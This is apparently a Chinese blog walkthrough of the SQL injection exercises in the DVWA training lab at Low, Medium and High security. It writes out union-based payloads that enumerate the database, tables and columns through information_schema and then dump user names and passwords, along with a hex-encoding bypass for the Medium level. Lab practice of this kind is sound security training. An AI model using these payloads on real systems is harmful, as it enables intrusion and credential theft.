SQL Injection-(SQL注入)

一.Low篇;

1.登录DVWA;

(账号:admin 密码:password)

2.DVWA Security-->Low;

3.进入SQL Injection进行测试;

输入1;

4.查看源码;

构造SQL语句进行查询;

使用1'order by 1-- -,1'order by2-- -,1'order by3-- -......判断字段;

发现有两个字段;

再通过1' union select 1,2-- -得到可以显示数据的位置;

通过 1' union select database(),2-- -得到当前数据库的名称;

通过 1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()-- -得到数据库里面的表;

通过 1' union select group_concat(column_name),2 from information_schema.columns where table_name='user'-- -得到表的列名;

通过 1' union select group_concat(User),group_concat(Password) from users-- -得到对应列的数据

二.Medium篇;

1.进入Medium模式;

2.SQL Injection受到了限制;

3.对源码进行分析;

很容易发现该利用的是POST方式传递参数

mysqlirealescape_string会转义'、"等特殊字符

4.抓包后,在id处注入SQL语句;

继续之前的SQL语句操作;

获取库名;

获取表名;

获取列名(使用table_schema='users'报错);

需要对users进行转义,转义为16进制;

通过 1 union select group_concat(User),group_concat(Password) from users-- -得到对应列的数据;

三.High篇;

1.查看源码进行分析;

分析可知High级别的只是在SQL查询语句中添加了LIMIT 1,以LIMIT1控制只输出一个结果

但#会将其后的代码均注释掉,因此High并为起到防御作用;

  • 21
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值